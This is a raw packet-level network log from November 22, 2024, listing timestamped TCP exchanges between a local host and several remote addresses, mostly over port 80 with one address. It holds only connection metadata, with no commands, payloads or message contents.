Nov 22, 2024 00:11:49.814780951 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.814825058 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.814872026 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.815877914 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.815943003 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.815982103 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.816028118 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.817061901 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.817132950 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.817167997 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.817224979 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.818259001 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.818319082 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.818604946 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.818733931 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.819396019 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.819442987 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.819490910 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.819531918 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.820568085 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.820617914 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.820686102 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.820976019 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.821782112 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.821837902 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.821877956 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.821919918 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.822926044 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.822987080 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.823031902 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.823288918 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.824125051 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.824172020 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.824208021 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.824245930 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.825341940 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.825356007 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.825403929 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.825416088 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.825472116 CET	49816	443	192.168.2.5	142.250.181.65
Nov 22, 2024 00:11:49.825479984 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.826457024 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.826503992 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.826606035 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.826651096 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.827625990 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.827765942 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.827810049 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.828783989 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.828896999 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.828896999 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.829015970 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.830538988 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.830602884 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.830641985 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.830770016 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.831532955 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.831593037 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.831605911 CET	49841	443	192.168.2.5	18.165.220.106
Nov 22, 2024 00:11:49.831626892 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.831635952 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.832664013 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.832753897 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.832756042 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.832796097 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.833504915 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.833565950 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.833605051 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.833643913 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.834669113 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.834732056 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.834772110 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.834958076 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.835843086 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.835896015 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.835942030 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.836098909 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.837009907 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.837084055 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.837121964 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.837165117 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.838222027 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.838270903 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.838304996 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.838341951 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.838969946 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.839270115 CET	49816	443	192.168.2.5	142.250.181.65
Nov 22, 2024 00:11:49.839278936 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.839404106 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.839464903 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.839493036 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.839534998 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.840555906 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.840620041 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.852631092 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.852868080 CET	49816	443	192.168.2.5	142.250.181.65
Nov 22, 2024 00:11:49.852885008 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.866180897 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.866239071 CET	49816	443	192.168.2.5	142.250.181.65
Nov 22, 2024 00:11:49.866255999 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.879606009 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.879700899 CET	49816	443	192.168.2.5	142.250.181.65
Nov 22, 2024 00:11:49.879709959 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.892318964 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.892393112 CET	49816	443	192.168.2.5	142.250.181.65
Nov 22, 2024 00:11:49.892400980 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.904300928 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.904449940 CET	49816	443	192.168.2.5	142.250.181.65
Nov 22, 2024 00:11:49.904468060 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.915549994 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.915653944 CET	49816	443	192.168.2.5	142.250.181.65
Nov 22, 2024 00:11:49.915662050 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.920489073 CET	443	49830	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:49.920559883 CET	443	49830	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:49.920614958 CET	49830	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:49.920799017 CET	49830	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:49.920828104 CET	443	49830	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:49.920835018 CET	49830	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:49.920840979 CET	443	49830	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:49.923412085 CET	49854	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:49.923439980 CET	443	49854	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:49.923614025 CET	49854	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:49.923758984 CET	49854	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:49.923770905 CET	443	49854	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:49.926696062 CET	443	49835	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:49.926772118 CET	443	49835	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:49.926825047 CET	49835	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:49.926994085 CET	49835	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:49.927007914 CET	443	49835	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:49.927512884 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.927588940 CET	49816	443	192.168.2.5	142.250.181.65
Nov 22, 2024 00:11:49.927608013 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.930975914 CET	443	49845	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:49.931045055 CET	443	49845	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:49.931147099 CET	49845	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:49.931206942 CET	49845	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:49.931214094 CET	443	49845	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:49.950633049 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.950781107 CET	49816	443	192.168.2.5	142.250.181.65
Nov 22, 2024 00:11:49.950788975 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.965068102 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.965137005 CET	49816	443	192.168.2.5	142.250.181.65
Nov 22, 2024 00:11:49.965145111 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.968446016 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.968485117 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.968678951 CET	49816	443	192.168.2.5	142.250.181.65
Nov 22, 2024 00:11:49.968688011 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.968739033 CET	49816	443	192.168.2.5	142.250.181.65
Nov 22, 2024 00:11:49.972225904 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.972286940 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.972371101 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.972417116 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.972615957 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.972862005 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.972912073 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.973661900 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.973720074 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.973777056 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.973987103 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.974776983 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.974828959 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.974833965 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.974868059 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.975845098 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.975904942 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.975945950 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.975989103 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.976479053 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.976953983 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.977020025 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.977063894 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.977349997 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.978040934 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.978106976 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.978159904 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.979121923 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.979170084 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.979196072 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.979233027 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.980231047 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.980283022 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.980426073 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.980485916 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.981317997 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.981374979 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.981450081 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.981498003 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.982438087 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.982495070 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.982543945 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.982589960 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.983517885 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.983565092 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.983573914 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.983604908 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.984498024 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.984643936 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.984668970 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.984683990 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.984704018 CET	49816	443	192.168.2.5	142.250.181.65
Nov 22, 2024 00:11:49.984711885 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.984745026 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.984776020 CET	49816	443	192.168.2.5	142.250.181.65
Nov 22, 2024 00:11:49.985734940 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.985791922 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.985831976 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.985874891 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.986815929 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.986884117 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.986926079 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.986974001 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.987991095 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.988051891 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.988092899 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.988151073 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.989074945 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.989198923 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.989207029 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.989244938 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.990123987 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.990173101 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.990235090 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.990447044 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.991216898 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.991271019 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.991341114 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.991386890 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.992151022 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.992434025 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.992515087 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.992558002 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.992602110 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.993371964 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.993427038 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.993493080 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.993655920 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.994465113 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.994519949 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.994587898 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.994640112 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.995728970 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.995784998 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.995848894 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.995964050 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.996675968 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.996742010 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.996793032 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.997112989 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.997750998 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.997812986 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.997853041 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.997899055 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.998858929 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.998914003 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.998923063 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.998964071 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.999660969 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.999717951 CET	49816	443	192.168.2.5	142.250.181.65
Nov 22, 2024 00:11:49.999733925 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:49.999939919 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.999986887 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.000051022 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.000087023 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.001046896 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.001116037 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.001162052 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.001208067 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.002162933 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.002193928 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.002224922 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.002243042 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.003283978 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.003331900 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.003395081 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.003444910 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.004544973 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.004595041 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.004599094 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.004637957 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.005510092 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.005557060 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.005618095 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.005662918 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.006532907 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.006577015 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.006603003 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.006652117 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.007235050 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:50.007333040 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:50.007335901 CET	49816	443	192.168.2.5	142.250.181.65
Nov 22, 2024 00:11:50.007345915 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:50.007396936 CET	49816	443	192.168.2.5	142.250.181.65
Nov 22, 2024 00:11:50.007617950 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.007663965 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.007745028 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.007787943 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.008774996 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.008867979 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.008918047 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.009818077 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.009862900 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.009938002 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.010138035 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.010911942 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.011020899 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.011049986 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.011091948 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.012260914 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.012314081 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.012327909 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.012370110 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.013156891 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.013207912 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.013221979 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.013267040 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.014235020 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.014283895 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.014369011 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.014574051 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.014980078 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:50.015583992 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.015640974 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.015682936 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.015728951 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.016407967 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.016453981 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.016558886 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.016603947 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.017494917 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.017538071 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.017580986 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.017726898 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.018609047 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.018680096 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.018702984 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.018757105 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.019710064 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.019725084 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:50.019787073 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:50.019817114 CET	49788	80	192.168.2.5	185.215.113.206
